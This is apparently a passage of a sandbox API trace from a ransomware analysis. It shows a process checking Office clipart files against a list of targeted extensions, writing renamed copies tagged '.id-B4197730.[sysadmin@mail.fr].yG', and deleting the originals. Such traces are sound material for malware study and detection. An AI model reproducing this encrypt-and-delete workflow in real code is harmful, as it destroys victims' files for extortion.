	[0156.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.641] lstrlenW (lpString=".doc") returned 4
	[0156.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.642] lstrlenW (lpString=".docx") returned 5
	[0156.642] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0156.642] lstrlenW (lpString=".pdf") returned 4
	[0156.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.642] lstrlenW (lpString=".xls") returned 4
	[0156.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.642] lstrlenW (lpString=".xlsx") returned 5
	[0156.642] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0156.642] lstrlenW (lpString=".ppt") returned 4
	[0156.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.642] lstrlenW (lpString=".zip") returned 4
	[0156.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.645] lstrlenW (lpString=".rar") returned 4
	[0156.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.645] lstrlenW (lpString=".bz2") returned 4
	[0156.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.645] lstrlenW (lpString=".7z") returned 3
	[0156.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.645] lstrlenW (lpString=".dbf") returned 4
	[0156.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.645] lstrlenW (lpString=".1cd") returned 4
	[0156.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.645] lstrlenW (lpString=".jpg") returned 4
	[0156.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.646] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.646] lstrlenW (lpString="J0099160.JPG") returned 12
	[0156.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.647] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=15145) returned 1
	[0156.647] CloseHandle (hObject=0x54c) returned 1
	[0156.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0156.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.161] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.161] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.162] GetLastError () returned 0x0
	[0157.162] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0157.198] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0157.200] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.200] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.200] SetEndOfFile (hFile=0x540) returned 1
	[0157.200] CloseHandle (hObject=0x540) returned 1
	[0157.201] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.201] SetEndOfFile (hFile=0x550) returned 1
	[0157.205] CloseHandle (hObject=0x550) returned 1
	[0157.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0157.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.206] lstrlenW (lpString=".doc") returned 4
	[0157.206] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.206] lstrlenW (lpString=".docx") returned 5
	[0157.206] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0157.206] lstrlenW (lpString=".pdf") returned 4
	[0157.206] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.207] lstrlenW (lpString=".xls") returned 4
	[0157.207] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.208] lstrlenW (lpString=".xlsx") returned 5
	[0157.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0157.208] lstrlenW (lpString=".ppt") returned 4
	[0157.208] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.208] lstrlenW (lpString=".zip") returned 4
	[0157.208] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.208] lstrlenW (lpString=".rar") returned 4
	[0157.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.208] lstrlenW (lpString=".bz2") returned 4
	[0157.208] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.208] lstrlenW (lpString=".7z") returned 3
	[0157.208] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.208] lstrlenW (lpString=".dbf") returned 4
	[0157.208] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.208] lstrlenW (lpString=".1cd") returned 4
	[0157.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.208] lstrlenW (lpString=".jpg") returned 4
	[0157.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.209] lstrlenW (lpString=".doc") returned 4
	[0157.209] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.209] lstrlenW (lpString=".docx") returned 5
	[0157.209] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0157.209] lstrlenW (lpString=".pdf") returned 4
	[0157.209] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.209] lstrlenW (lpString=".xls") returned 4
	[0157.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.209] lstrlenW (lpString=".xlsx") returned 5
	[0157.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0157.209] lstrlenW (lpString=".ppt") returned 4
	[0157.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.209] lstrlenW (lpString=".zip") returned 4
	[0157.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.209] lstrlenW (lpString=".rar") returned 4
	[0157.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.209] lstrlenW (lpString=".bz2") returned 4
	[0157.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.210] lstrlenW (lpString=".7z") returned 3
	[0157.210] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.210] lstrlenW (lpString=".dbf") returned 4
	[0157.210] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.210] lstrlenW (lpString=".1cd") returned 4
	[0157.210] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.210] lstrlenW (lpString=".jpg") returned 4
	[0157.210] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.211] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0157.211] lstrlenW (lpString="J0099170.WMF") returned 12
	[0157.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.214] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=24292) returned 1
	[0157.214] CloseHandle (hObject=0x550) returned 1
	[0157.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0157.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.215] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.215] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.216] GetLastError () returned 0x0
	[0157.216] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0157.230] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0157.231] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.232] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.232] SetEndOfFile (hFile=0x540) returned 1
	[0157.232] CloseHandle (hObject=0x540) returned 1
	[0157.232] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.232] SetEndOfFile (hFile=0x550) returned 1
	[0157.236] CloseHandle (hObject=0x550) returned 1
	[0157.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0157.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.238] lstrlenW (lpString=".doc") returned 4
	[0157.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString=".docx") returned 5
	[0157.238] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0157.238] lstrlenW (lpString=".pdf") returned 4
	[0157.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString=".xls") returned 4
	[0157.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.238] lstrlenW (lpString=".xlsx") returned 5
	[0157.238] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0157.238] lstrlenW (lpString=".ppt") returned 4
	[0157.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.238] lstrlenW (lpString=".zip") returned 4
	[0157.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.238] lstrlenW (lpString=".rar") returned 4
	[0157.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString=".bz2") returned 4
	[0157.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString=".7z") returned 3
	[0157.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.238] lstrlenW (lpString=".dbf") returned 4
	[0157.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.238] lstrlenW (lpString=".1cd") returned 4
	[0157.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.239] lstrlenW (lpString=".jpg") returned 4
	[0157.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.239] lstrlenW (lpString=".doc") returned 4
	[0157.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString=".docx") returned 5
	[0157.239] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0157.239] lstrlenW (lpString=".pdf") returned 4
	[0157.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString=".xls") returned 4
	[0157.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.239] lstrlenW (lpString=".xlsx") returned 5
	[0157.239] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0157.239] lstrlenW (lpString=".ppt") returned 4
	[0157.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.239] lstrlenW (lpString=".zip") returned 4
	[0157.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.239] lstrlenW (lpString=".rar") returned 4
	[0157.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString=".bz2") returned 4
	[0157.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.239] lstrlenW (lpString=".7z") returned 3
	[0157.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.240] lstrlenW (lpString=".dbf") returned 4
	[0157.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.240] lstrlenW (lpString=".1cd") returned 4
	[0157.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0157.240] lstrlenW (lpString=".jpg") returned 4
	[0157.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.240] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0157.240] lstrlenW (lpString="J0099171.WMF") returned 12
	[0157.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0157.658] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=8754) returned 1
	[0157.658] CloseHandle (hObject=0x4ac) returned 1
	[0157.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0157.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0158.668] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.668] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.886] GetLastError () returned 0x0
	[0158.886] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2232, lpOverlapped=0x0) returned 1
	[0158.898] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2240, lpOverlapped=0x0) returned 1
	[0158.901] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.901] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.901] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.902] CloseHandle (hObject=0x4ac) returned 1
	[0158.902] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.902] SetEndOfFile (hFile=0x548) returned 1
	[0158.905] CloseHandle (hObject=0x548) returned 1
	[0158.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0158.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.906] lstrlenW (lpString=".doc") returned 4
	[0158.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString=".docx") returned 5
	[0158.907] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0158.907] lstrlenW (lpString=".pdf") returned 4
	[0158.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString=".xls") returned 4
	[0158.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.907] lstrlenW (lpString=".xlsx") returned 5
	[0158.907] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0158.907] lstrlenW (lpString=".ppt") returned 4
	[0158.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.907] lstrlenW (lpString=".zip") returned 4
	[0158.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.907] lstrlenW (lpString=".rar") returned 4
	[0158.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString=".bz2") returned 4
	[0158.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString=".7z") returned 3
	[0158.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.907] lstrlenW (lpString=".dbf") returned 4
	[0158.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.908] lstrlenW (lpString=".1cd") returned 4
	[0158.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.908] lstrlenW (lpString=".jpg") returned 4
	[0158.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
